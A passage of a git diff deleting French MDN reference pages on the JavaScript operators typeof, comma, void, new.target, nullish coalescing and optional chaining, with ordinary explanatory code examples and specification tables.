{{SpecName('ES1', '#sec-11.1.1', 'Le mot-clé this')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.this")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_typeof/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_typeof/index.html" deleted file mode 100644 index e65d9a6db2..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_typeof/index.html" +++ /dev/null @@ -1,273 +0,0 @@ ---- -title: L'opérateur typeof -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/typeof ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur typeof renvoie une chaîne qui indique le type de son opérande.

- -
{{EmbedInteractiveExample("pages/js/expressions-typeof.html")}}
- - - -

Syntaxe

- -

L'opérateur typeof est suivi de son opérande :

- -
typeof operande
- -

Paramètre

- -

operande est une expression qui représente la valeur dont on souhaite obtenir le type.

- -

Description

- -

Le tableau qui suit liste les résultats possibles de l'opérateur typeof. Pour plus d'informations sur les types et valeurs primitives en JavaScript, voir la page sur les types et structures de données JavaScript.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TypeRésultat
indéfini"undefined"
nul"object" (voir ci-après)
booléen"boolean"
nombre"number"
grand entier"bigint"
chaîne de caractère"string"
symbole (nouveauté d'ECMAScript 6 / 2015)"symbol"
objet de l'environnement (fourni par l'environnement dans lequel est utilisé JS)Résultat différent selon l'implémentation
Objet Function (au sens ECMA-262, un objet qui implémente [[Call]])"function"
Tout autre objet"object"
- -

Exemples

- -
// Pour les nombres
-typeof 37 === 'number';
-typeof 3.14 === 'number';
-typeof(42) === 'number';
-typeof Math.LN2 === 'number';
-typeof Infinity === 'number';
-typeof NaN === 'number'; // Bien que littéralement ce soit "Not-A-Number"…
-typeof Number('1') === 'number'; // Number essaie de convertir l'argument en nombre
-
-// Grand entier
-typeof 42n === 'bigint';
-
-// Les chaînes de caractères
-typeof "" === 'string';
-typeof "bla" === 'string';
-typeof "1" === 'string'; // on a ici un nombre écrit sous forme d'une chaîne
-typeof (typeof 1) === 'string'; // typeof renvoie toujours une chaîne
-typeof String(1) === 'string'; // String convertit n'importe quelle valeur en chaîne
-
-
-// Les booléens
-typeof true === 'boolean';
-typeof false === 'boolean';
-typeof Boolean(1) === 'boolean'; // Boolean convertit n'importe quelle valeur en son équivalent logique
-typeof !!(1) === 'boolean'; // deux appels à l'opérateur ! (le NON logique) sont équivalents à Boolean()
-
-
-// Les symboles
-typeof Symbol() === 'symbol'
-typeof Symbol('foo') === 'symbol'
-typeof Symbol.iterator === 'symbol'
-
-
-// Indéfini
-typeof undefined === 'undefined';
-typeof blabla === 'undefined'; // pour une variable indéfinie
-
-
-// Les objets
-typeof {a:1} === 'object';
-
-// Utiliser la méthode Array.isArray ou Object.prototype.toString.call
-// afin de différencier les objets des tableaux
-typeof [1, 2, 4] === 'object';
-
-typeof new Date() === 'object';
-typeof /regex/ === 'object'; // Voir la section sur les expressions rationnelles
-
-// Les expressions suivantes sont source de confusion
-// à ne pas utiliser sous cette forme
-typeof new Boolean(true) === 'object';
-typeof new Number(1) === 'object';
-typeof new String("abc") === 'object';
-
-
-// Les fonctions
-typeof function(){} === 'function';
-typeof class C {} === 'function';
-typeof Math.sin === 'function';
-
- -

Informations supplémentaires

- -

null

- -
// Cela est valable depuis les commencements de JavaScript
-typeof null === 'object';
-
- -

Lors de la première implémentation de JavaScript, les valeurs JavaScript étaient représentées avec une étiquette de type et une valeur. Pour les objets, l'étiquette de type était 0. null était représenté par la valeur NULL (0x00 pour la plupart des plates-formes). Par conséquent, l'étiquette de type de null valait 0, d'où le comportement de typeof (source).

- -

Un correctif fut proposé pour ECMAScript mais il fut refusé. Avec cette version, on aurait eu typeof null === 'null'.

- -

Utiliser l'opérateur new

- -
// Tous les constructeurs doivent être employés
-// avec le mot-clé "new"
-var maChaine = new String("toto");
-var monNombre = new Number(100);
-
-typeof maChaine;  // renverra "object"
-typeof monNombre; // renverra "object"
-
-// En revanche avec le constructeur Function,
-// on aura :
-var maFonction = new Function();
-typeof maFonction; // renverra "function"
- -

Utilisation des parenthèses

- -
// Les parenthèses peuvent s'avérer utile pour
-// déterminer le type de données d'une expression
-// complète
-
-var maDonnee = 99;
-
-typeof maDonnee + 'Toto';   // renverra 'number Toto'
-typeof (maDonnee + 'Toto'); // renverra 'string'
-
- -

Expressions rationnelles

- -

Les expressions rationnelles qu'on peut appeler directement furent parfois ajoutées de façon non standard dans certains navigateurs.

- -
typeof /s/ === 'function'; // Chrome 1 à 12 : Non conforme à ECMAScript 5.1
-typeof /s/ === 'object';   // À partir de Firefox 5 : Conforme à ECMAScript 5.1
-
- -

Zone morte temporaire (Temporal Dead Zone / TDZ)

- -

Avant ECMAScript 2015 (ES6), typeof retournait toujours une chaîne de caractères, quel que soit l'opérande utilisé. On ne pouvait pas avoir d'erreur en utilisant typeof.

- -

Avec l'apparition des opérateurs let et const, si on utilise typeof sur des variables déclarées avec ces opérateurs (ou avec une classe) avant leur déclaration, cela déclenchera une erreur {{jsxref("ReferenceError")}}. Si on utilise typeof sur une variable déclarée avec var avant la déclaration, cela renverra undefined. Les variables déclarées avec let et const sont en fait placées dans une zone morte temporaire entre le début du bloc et leur initialisation et dans cette zone, tout accès à la variable produit une erreur.

- -
typeof variableGlobaleNonDeclaree === "undefined";
-
-typeof variableLet; // ReferenceError
-let variableLet;
-
-typeof constante;   // ReferenceError
-const constante = "coucou";
-
-typeof maClasse; // ReferenceError
-class maClasse{};
- -

Exceptions

- -

Tous les navigateurs actuels exposent un objet non-standard {{domxref("document.all")}} dont le type est "undefined".

- -
typeof document.all === "undefined";
- -

Bien que la spécification requière que les objets exostiques aient des types différents, ces types doivent être des chaînes différentes des chaînes existantes pour les objets standards. À ce titre, le type de document.all représente une violation « volontaire » du standard ECMAScript original.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-typeof-operator', 'Opérateur typeof')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-typeof-operator', 'Opérateur typeof')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.4.3', 'Opérateur typeof')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.4.3', 'Opérateur typeof')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-11.4.3', 'Opérateur typeof')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.1.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.typeof")}}

- -

Notes spécifiques à IE

- -

Pour les versions 6, 7 et 8 d'Internet Explorer, les objets de l'environnement hôte sont des objets et non des fonctions. Par exemple, on aura :

- -
typeof alert === 'object'
- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_virgule/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_virgule/index.html" deleted file mode 100644 index d3ccf9c8f4..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_virgule/index.html" +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: L'opérateur virgule -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_virgule -tags: - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/Comma_Operator ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur virgule permet d'évaluer chacun de ses opérandes (de la gauche vers la droite) et de renvoyer la valeur du dernier opérande.

- -
{{EmbedInteractiveExample("pages/js/expressions-commaoperators.html")}}
- - - -

Syntaxe

- -
expr1, expr2, expr3...
- -

Paramètres

- -
-
expr1, expr2, expr3...
-
Des expressions JavaScript.
-
- -

Description

- -

L'opérateur virgule peut être utilisé lorsqu'on souhaite utiliser plusieurs expressions là où la syntaxe n'en attend qu'une seule. Cet opérateur est souvent utilisé dans une boucle {{jsxref("Instructions/for","for")}} afin de fournir plusieurs paramètres.

- -

L'opérateur virgule est à différencier de la virgule utilisée pour séparer les éléments d'un tableau ou les propriétés d'un objet ou encore les arguments d'une fonction.

- -

Exemples

- -

SI on a un tableau à 2 dimensions appelé monTableau, qui possède 10 éléments ayant chacun 10 éléments, on peut utiliser le code suivant avec l'opérateur virgule afin d'incrémenter deux variables (i et j) à la fois. Attention, la virgule utilisée au sein de l'instruction var n'est pas l'opérateur virgule (car il ne peut exister au sein d'une expression) ; ici c'est un caractère spécial de l'instruction {{jsxref("Instructions/var","var")}}. Le code qui suit affiche les éléments présents sur la diagonale de cette matrice :

- -
for (var i = 0, j = 9; i <= 9; i++, j--){
-  console.log("monTableau[" + i + "][" + j + "] = " + monTableau[i][j]);
-}
- -

Dans le code suivant, a est défini avec la valeur de b = 3 (qui est 3) et l'expression c = 4 est toujours évaluée et c'est ce résultat affiché dans la console du fait de la précédence et de l'associativité des opérateurs.

- -
var a, b, c;
-a = b = 3, c = 4; // Renvoie 4 dans la console
-console.log(a);   // 3
- -

Pour isoler la précédence de l'opérateur, on peut utiliser des parenthèses :

- -
var x, y, z;
-x = (y = 5, z = 6); // Renvoie 6 dans la console
-console.log(x);     // 6
- -

Effectuer un traitement puis renvoyer une valeur

- -

Un autre exemple consiste à effectuer un certain traitement sur la variable puis à renvoyer le résultat. Par définition, seul le dernier élément sera renvoyé mais les instructions précédentes seront bien exécutées. AInsi, on pourrait avoir :

- -
function maFonction () {
-  var x = 0;
-
-  return (x += 1, x); // ce qui revient à renvoyer ++x
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-comma-operator', 'Comma operator')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-comma-operator', 'Comma operator')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.14', 'Comma operator')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.14', 'Comma operator')}}{{Spec2('ES1')}}Définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.comma")}}

- -

Voir aussi

- -
    -
  • Les boucles {{jsxref("Instructions/for","for")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_void/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_void/index.html" deleted file mode 100644 index e15eb1ed76..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_void/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: L'opérateur void -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_void -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/void ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur void permet d'évaluer une expression donnée et de renvoyer undefined.

- -
{{EmbedInteractiveExample("pages/js/expressions-voidoperator.html")}}
- - - -

Syntaxe

- -
void expression
- -

Description

- -

Cet opérateur permet d'évaluer des expressions retournant une valeur là où on attend une expression qui vaut {{jsxref("undefined")}}.

- -

L'opérateur void est souvent utilisé pour obtenir la valeur undefined, généralement avec "void(0)" (qui est l'équivalent de "void 0"). Pour ce cas d'exemple, on aurait très bien pu utiliser la variable globale {{jsxref("undefined")}}.

- -

Attention à la précédence des opérateurs et notamment de celle de void, si besoin, on pourra utiliser des parenthèses pour clarifier la résolution de l'expression :

- -
void 2 == '2';    // renvoie false
-void (2 === '2'); // renvoie undefined
- -

Expressions de fonction appelées immédiatement

- -

Lorsqu'on utilise tout un script dans une fonction qu'on évalue immédiatement, void peut être utilisé pour que le mot-clé function soit traité comme une expression plutôt que comme une déclaration.

- -
void function iife() {
-    var toto = function () {};
-    var machin = function () {};
-    var truc = function () {
-        toto();
-        machin();
-     };
-    var bidule = function () {};
-
-    truc();
-    bidule();
-}();
-
- -

Les URI JavaScript

- -

Lorsqu'un navigateur utilise une URI avec javascript:, le code de l'URI est évalué et le résultat remplace le contenu de la page, sauf si la valeur renvoyée vaut {{jsxref("Objets_globaux/undefined","undefined")}}. L'utilisateur void peut alors être utilisé pour renvoyer cette valeur. Par exemple :

- -
<a href="javascript:void(0);">
-  Cliquer ici (sans effet)
-</a>
-
-<a href="javascript:void(document.body.style.backgroundColor='green');">
-  Cliquer ici pour rendre le fond vert
-</a>
- -

Malgré cela, il n'est pas recommandé d'utiliser le pseudo-protocole javascript:, on lui préférera des méthodes moins risquées et moins intrusives comme les gestionnaires d'événements.

- -

Fonctions fléchées sans valeur de retour

- -

Les fonctions fléchées raccourcissent la syntaxe pour obtenir la valeur d'une fonction avec le résultat d'une expression qui constitue le corps de la fonction. Ainsi, la fonction renvoie nécessairement une valeur. Aussi, convertir une base de code afin d'utiliser des fonctions fléchées peut avoir certains effets de bord lorsqu'on souhaite qu'une fonction soit simplement exécutée mais pas que sa valeur de retour interfère avec le reste.

- -

Pour éviter de transmettre cette valeur de retour, on pourra utiliser l'opérateur void :

- -
button.onclick = () => void faireQQc();
- -

Ainsi, la valeur de retour de la fonction faireQQc sera bloquée par void et c'est undefined qui sera la valeur de retour de la fonction fléchée. Cela s'avère utile si on change l'API de faireQQc par exemple et qu'on souhaite éviter les effets de bord causés par cette modification.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-void-operator', 'Opérateur void')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-void-operator', 'L\'opérateur void')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.4.2', 'L\'opérateur void')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-11.4.2', 'L\'opérateur void')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-11.4.2', 'L\'opérateur void')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.void")}}

- -

Voir aussi

- -
    -
  • {{jsxref("undefined")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/new.target/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/new.target/index.html" deleted file mode 100644 index 63be303c4c..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/new.target/index.html" +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: new.target -slug: Web/JavaScript/Reference/Opérateurs/new.target -tags: - - ECMAScript 2015 - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Operators/new.target ---- -
{{JSSidebar("Operators")}}
- -

La syntaxe new.target est disponible dans toutes les fonctions et permet entre autres de tester si une fonction ou un constructeur a été appelé avec new. Dans les constructeurs, il fait référence au constructeur invoqué par new. Dans les appels de fonction « normaux », new.target vaut {{jsxref("undefined")}}.

- -
{{EmbedInteractiveExample("pages/js/expressions-newtarget.html")}}
- - - -

Syntaxe

- -
new.target
- -

Description

- -

La syntaxe new.target se compose du mot-clé new, suivi d'un point puis d'un nom de propriété (ici target). Généralement et par ailleurs, new. est utilisé comme contexte pour accéder à une propriété. Ici, new. ne fait pas réellement référence à un objet. Dans les appels de constructeurs, new.target fait référence au constructeur qui a été appelé par new. Cette syntaxe permet donc de récupérer cette valeur.

- -

new.target est une méta-propriété, disponible pour toutes les fonctions. Dans les fonctions fléchées, new.target fait référence au new.target de la fonction englobante.

- -

Exemples

- -

Utilisation de new.target dans les appels de fonction

- -

Utilisé dans les appels de fonctions « classiques » (autrement dit pour les fonctions qui ne sont pas des constructeurs), new.target vaut {{jsxref("undefined")}}. Cela permet de détecter si une fonction a été appelée comme constructeur avec new :

- -
function Toto(){
-  if (!new.target) throw "Toto() doit être appelé avec new"
-  console.log("Toto instancié avec new");
-}
-
-new Toto(); // affiche "Toto instancié avec new" dans la console
-Toto(); // lève l'exception avec "Toto doit être appelé avec new"
-
- -

Utilisation de new.target dans les constructeurs

- -

Utilisés dans les appels de constructeurs de classe, new.target fait référence au constructeur utilisé directement avec new. C'est également le cas quand le constructeur est présent dans une classe parente et est délégué depuis le constructeur fils :

- -
class A {
-  constructor() {
-    console.log(new.target.name);
-  }
-}
-
-class B extends A { constructor() { super(); } }
-
-var a = new A(); // affiche "A"
-var b = new B(); // affiche "B"
-
-class C {
-  constructor() {
-    console.log(new.target);
-  }
-}
-
-class D extends C {
-  constructor() {
-    super();
-  }
-}
-
-var c = new C(); // function C()
-var d = new D(); // function D()
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaire
{{SpecName('ES2015', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-built-in-function-objects', 'Built-in Function Objects')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.new_target")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/nullish_coalescing_operator/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/nullish_coalescing_operator/index.html" deleted file mode 100644 index 06de88d2b1..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/nullish_coalescing_operator/index.html" +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: Opérateur de coalescence des nuls (Nullish coalescing operator) -slug: Web/JavaScript/Reference/Opérateurs/Nullish_coalescing_operator -tags: - - Coalescence - - JavaScript - - Opérateur - - Reference - - falsy - - nullish -translation_of: Web/JavaScript/Reference/Operators/Nullish_coalescing_operator ---- -

{{JSSidebar("Operators")}}

- -

L'opérateur de coalescence des nuls (??), est un opérateur logique qui renvoie son opérande de droite lorsque son opérande de gauche vaut {{jsxref("null")}} ou {{jsxref("undefined")}} et qui renvoie son opérande de gauche sinon.

- -

Contrairement à l'opérateur logique OU (||), l'opérande de gauche sera renvoyé s'il s'agit d'une valeur équivalente à false qui n'est ni null, ni undefined. En d'autres termes, si vous utilisez || pour fournir une valeur par défaut à une variable foo, vous pourriez rencontrer des comportements inattendus si vous considérez certaines valeurs falsy comme utilisables (par exemple une chaine vide '' ou 0). Voir ci-dessous pour plus d'exemples.

- -
{{EmbedInteractiveExample("pages/js/expressions-nullishcoalescingoperator.html")}}
- - - -

Syntaxe

- -
leftExpr ?? rightExpr
-
- -

Exemples

- -

Utilisation de l'opérateur de coalescence des nuls

- -

Dans cet exemple, nous fournirons des valeurs par défaut mais conserverons des valeurs autres que null ou undefined.

- -
const valeurNulle = null;
-const texteVide = ""; // falsy
-const unNombre = 42;
-
-const valA = valeurNulle ?? "valeur par défaut pour A";
-const valB = texteVide ?? "valeur par défaut pour B";
-const valC = unNombre ?? 0;
-
-console.log(valA); // "valeur par défaut pour A"
-console.log(valB); // "" (car la chaine vide n'est ni `null` ni `undefined`)
-console.log(valC); // 42
- -

Affectation d'une valeur par défaut à une variable

- -

Auparavant, lorsque l'on voulait attribuer une valeur par défaut à une variable, une solution fréquente consistait à utiliser l'opérateur logique OU (||) :

- -
let toto;
-
-// toto ne se voit jamais attribuer de valeur, il vaut donc undefined
-let unTexteBateau = toto || 'Coucou !';
- -

Cependant, parce que || est un opérateur logique booléen, l'opérande de gauche a été converti en un booléen pour l'évaluation et aucune valeur falsy (0, '', NaN, null, undefined) n'a été renvoyée. Ce comportement peut entraîner des conséquences inattendues si on souhaite considérer 0, '' ou NaN comme des valeurs valides.

- -
let compteur = 0;
-let texte = "";
-
-let qté = compteur || 42;
-let message = texte || "Coucou !";
-console.log(qté);     // 42 et non 0
-console.log(message); // "Coucou !" et non ""
-
- -

L'opérateur de coalescence des nuls évite ce risque en ne renvoyant le deuxième opérande que lorsque le premier vaut null ou undefined (mais pas d'autres valeurs falsy) :

- -
let monTexte = ''; // Un chaine vide (qui est donc une valeur falsy)
-
-let notFalsyText = monTexte || 'Hello world';
-console.log(notFalsyText); // Hello world
-
-let preservingFalsy = monTexte ?? 'Salut le voisin';
-console.log(preservingFalsy); // '' (car monTexte n'est ni null ni undefined)
-
- -

Court-circuitage

- -

À l'instar des opérateurs logiques OR (||) et AND (&&), l'expression de droite n'est pas évaluée si celle de gauche ne vaut ni null ni undefined.

- -
function A() { console.log('A a été appelée'); return undefined; }
-function B() { console.log('B a été appelée'); return false; }
-function C() { console.log('C a été appelée'); return "toto"; }
-
-console.log( A() ?? C() );
-// Inscrit "A a été appelée" puis "C a été appelée" et enfin "toto"
-// puisque : A() retourne undefined, les deux expressions sont donc évaluées
-
-console.log( B() ?? C() );
-// Inscrit "B a été appelée" puis false
-// puisque : B() retourne false (et non null ou undefined) et
-// l'opérande de droite n'est pas évaluée
-
- -

Pas de chaînage possible avec les opérateurs AND ou OR

- -

Il n'est pas possible de combiner les opérateurs AND (&&) ou OR (||) directement avec l'opérateur de coalescence des nuls (??). Un tel cas lèverait une exception SyntaxError.

- -
null || undefined ?? "toto"; // soulève une SyntaxError
-true || undefined ?? "toto"; // soulève une SyntaxError
- -

Cependant, fournir des parenthèses pour indiquer explicitement la priorité est correct :

- -
(null || undefined) ?? "toto"; // Renvoie "toto"
-
- -

Relation avec l'opérateur de chaînage optionnel (?.)

- -

Tout comme l'opérateur de coalescence des nuls, l'opérateur de chaînage optionnel (?.) traite les valeurs null et undefined comme des valeurs spécifiques. Ce qui permet d'accéder à une propriété d'un objet qui peut être null ou undefined.

- -
let toto = { uneProprieteToto: "coucou" };
-
-console.log(toto.uneProprieteToto?.toUpperCase());  // "COUCOU"
-console.log(toto.uneProprieteTiti?.toUpperCase()); // undefined
-
- -

Spécifications

- - - - - - - - - - - - -
Spécification
{{SpecName('ESDraft', '#prod-Nulli', 'nullish coalescing expression')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.nullish_coalescing")}}

- -

Progression de l'implantation

- -

Le tableau suivant montre l'état quotidien de l'implantation de cette fonctionnalité car elle n'est pas encore stable entre les navigateurs. Les données sont générées en exécutant les contrôles de fonctionnalité appropriés décrits par Test262, la suite de contrôle normée de JavaScript, dans la version nightly ou la dernière version officielle de chaque moteur d'exécution de JavaScript des navigateurs.

- -

{{EmbedTest262ReportResultsTable("coalesce-expression")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/optional_chaining/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/optional_chaining/index.html" deleted file mode 100644 index 9885b6d8ca..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/optional_chaining/index.html" +++ /dev/null @@ -1,196 +0,0 @@ ---- -title: Chaînage optionnel (optional chaining) -slug: Web/JavaScript/Reference/Opérateurs/Optional_chaining -tags: - - Chaînage - - Chaînage optionnel - - Coalescence - - JavaScript - - Operator - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/Optional_chaining ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur de chaînage optionnel ?. permet de lire la valeur d'une propriété située profondément dans une chaîne d'objets connectés sans avoir à valider expressément que chaque référence dans la chaîne est valide. L'opérateur ?. fonctionne de manière similaire à l'opérateur de chaînage ., à ceci près qu'au lieu de causer une erreur si une référence est {{jsxref("null")}} ou {{jsxref("undefined")}}, l'expression se court-circuite avec undefined pour valeur de retour. Quand il est utilisé avec des appels de fonctions, il retourne undefined si la fonction donnée n'existe pas.

- -

Ceci résulte en des expressions plus courtes et plus simples lors de l'accès à des propriétés chaînées quand il est possible qu'une référence soit manquante. Ceci peut aussi être utile lors de l'exploration du contenu d'un objet lorsqu'il n'y a aucune garantie concernant les propriétés qui sont requises.

- -

Le chainage optionnel ne peut pas être utilisé sur un objet initialement inexistant. Il ne remplace les vérifications du type if (typeof a == "undefined").

- -

{{EmbedInteractiveExample("pages/js/expressions-optionalchainingoperator.html")}}

- - - -

Syntaxe

- -
obj?.prop
-obj?.[expr]
-arr?.[index]
-func?.(args)
-
- -

Description

- -

L'opérateur de chaînage optionnel fournit un moyen de simplifier l'accès aux valeurs au sein d'objets connectés quand il est possible qu'une référence ou une fonction soit undefined ou null.

- -

Par exemple, considérant un objet obj qui a une structure imbriquée. Sans chaînage optionnel, chercher une sous-propriété imbriquée en profondeur requiert de valider les références intermédiaires, tel que :

- -
let nestedProp = obj.premier && obj.premier.second;
- -

La valeur de obj.premier est confirmée comme n'étant pas null (ni undefined) avant que d'accéder à la valeur de obj.premier.second. Ceci prévient l'erreur qui pourrait survenir si vous accédiez simplement obj.premier.second directement sans vérifier obj.premier.

- -

Avec l'opérateur de chaînage optionnel (?.), vous n'avez pas besoin de vérifier explicitement et de court-circuiter la vérification selon l'état de obj.premier avant que d'accéder à obj.premier.second :

- -
let nestedProp = obj.premier?.second;
- -

En utilisant l'opérateur ?. au lieu de l'opérateur ., JavaScript sait implicitement qu'il doit vérifier obj.premier pour être certain qu'il ne soit null ou undefined avant que de tenter d'accéder à obj.first.second. Si obj.premier est null ou undefined, l'expression se court-circuite automatiquement et retourne undefined.

- -

C'est équivalent à : 

- -
let temp = obj.premier;
-let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.second);
-
- -

Chaînage optionnel avec des appels de fonctions

- -

Vous pouvez utiliser le chaînage optionnel lorsque vous tentez d'appeler une méthode qui pourrait ne pas exister. Ceci peut être une aide précieuse, par exemple, lorsque vous utilisez une API dans laquelle une méthode pourrait être indisponible, à cause d'une implantation datée ou à cause d'une fonctionnalité qui n'est pas disponible sur l'appareil de l'utilisateur.

- -

Utiliser le chaînage optionnel avec les appels de fonction entraîne le retour automatique de la valeur undefined pour l'expression plutôt que de jeter une exception si la méthode n'est pas trouvée :

- -
let result = uneInterface.uneMéthode?.();
- -
-

Note : S'il est une propriété qui porte ce nom et qui n'est pas une fonction, utiliser ?. jètera aussi une exception {{jsxref("TypeError")}} (x.y is not a function).

-
- -

Réaliser des fonctions de rappel optionnelles ou des écouteurs d'évènements

- -

Si vous utilisez des fonctions ou des méthodes de recherche depuis un objet avec une affectation par décomposition, vous pourriez avoir des valeurs inexistantes que vous ne pouvez appeler comme fonction à moins que vous ayez vérifié leur existance. En utilisant ?., vous pourriez vous passer de cette vérification supplémentaire :

- -
// ES2019
-function doSomething(onContent, onError) {
-  try {
-    // ... faire quelque chose avec les données
-  }
-  catch (err) {
-    if (onError) { // vérifier que onError existe réellement
-      onError(err.message);
-    }
-  }
-}
-
- -
// Utiliser le chaînage optionnel avec les appels de fonctions
-function doSomething(onContent, onError) {
-  try {
-   // ... faire quelque chose avec les données
-  }
-  catch (err) {
-    onError?.(err.message); // pas d'exception si onError n'est pas défini
-  }
-}
-
- -

Chaînage optionnel avec les expressions

- -

Vous pouvez aussi utiliser l'opérateur de chaînage optionnel lorsque vous accédez aux propriétés avec une expression en utilisant la notation avec crochets des accesseurs de propriétés :

- -
let nestedProp = obj?.['propName'];
-
- -

Chaînage optionnel invalide depuis le côté gauche d'une affectation

- -
let objet = {};
-objet?.propriété = 1; // Uncaught SyntaxError: Invalid left-hand side in assignment
- -

Accès aux éléments de tableau avec le chaînage optionnel

- -
let élément = arr?.[42];
- -

Exemples

- -

Exemple basique

- -

Cet exemple cherche la valeur de la propriété name dans un objet stocké comme propriété de nom bar d'un objet Map alors que cet objet bar n'existe pas. Le résultat est donc undefined.

- -
let monMap = new Map();
-monMap.set("foo", {name: "baz", desc: "inga"});
-
-let nameBar = monMap.get("bar")?.name;
- -

Court-circuiter une évaluation

- -

Lorsque vous utilisez le chaînage optionnel avec une expression, si l'opérande gauche est null ou undefined, l'expression ne sera par évaluée. Par exemple :

- -
let objetPotentiellementNul = null;
-let x = 0;
-let prop = objetPotentiellementNul?.[x++];
-
-console.log(x); // 0 car x n'a pas été incrémenté
-
- -

Empiler les opérateurs de chaînage optionnel

- -

Avec les structures imbriquées, il est possible d'utiliser le chaînage optionnel plusieurs fois :

- -
let client = {
-  nom: "Carl",
-  details: {
-    age: 82,
-    localisation: "Paradise Falls"
-    // adresse détaillée inconnue
-  }
-};
-let villeDuClient = client.details?.adresse?.ville;
-
-// … cela fonctionne aussi avec le chaînage optionnel sur les appels de fonction
-let durée = vacations.trip?.getTime?.();
-
- -

Combinaison avec l'opérateur de coalescence des nuls (Nullish coalescing operator)

- -

L'{{JSxRef("Opérateurs/Nullish_coalescing_operator", "Opérateur de coalescence des nuls (Nullish coalescing operator)", '', 1)}} peut être utilisé après un chaînage optionnel afin de construire une valeur par défaut quand aucune n'a été trouvée :

- -
let client = {
-  nom: "Carl",
-  details: { age: 82 }
-};
-const villeDuClient = client?.ville ?? "Ville Inconnue";
-console.log(villeDuClient); // Ville inconnue
- -

Spécifications

- - - - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#prod-OptionalExpression', 'optional expression')}}
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.operators.optional_chaining")}}

- -

Progression de l'implantation

- -

Le tableau suivant montre l'état quotidien de l'implantation de cette fonctionnalité car elle n'est pas encore stable entre les navigateurs. Les données sont générées en exécutant les contrôles de fonctionnalité appropriés décrits par Test262, la suite de contrôle normée de JavaScript, dans la version nightly ou la dernière version officielle de chaque moteur d'exécution de JavaScript des navigateurs.

- -

{{EmbedTest262ReportResultsTable("optional-chaining")}}

-
- -

Voir aussi

- -
    -
  • {{JSxRef("Operators/Nullish_Coalescing_Operator", "Opérateur de coalescence des nuls (Nullish coalescing operator)", '', 1)}}
    • -
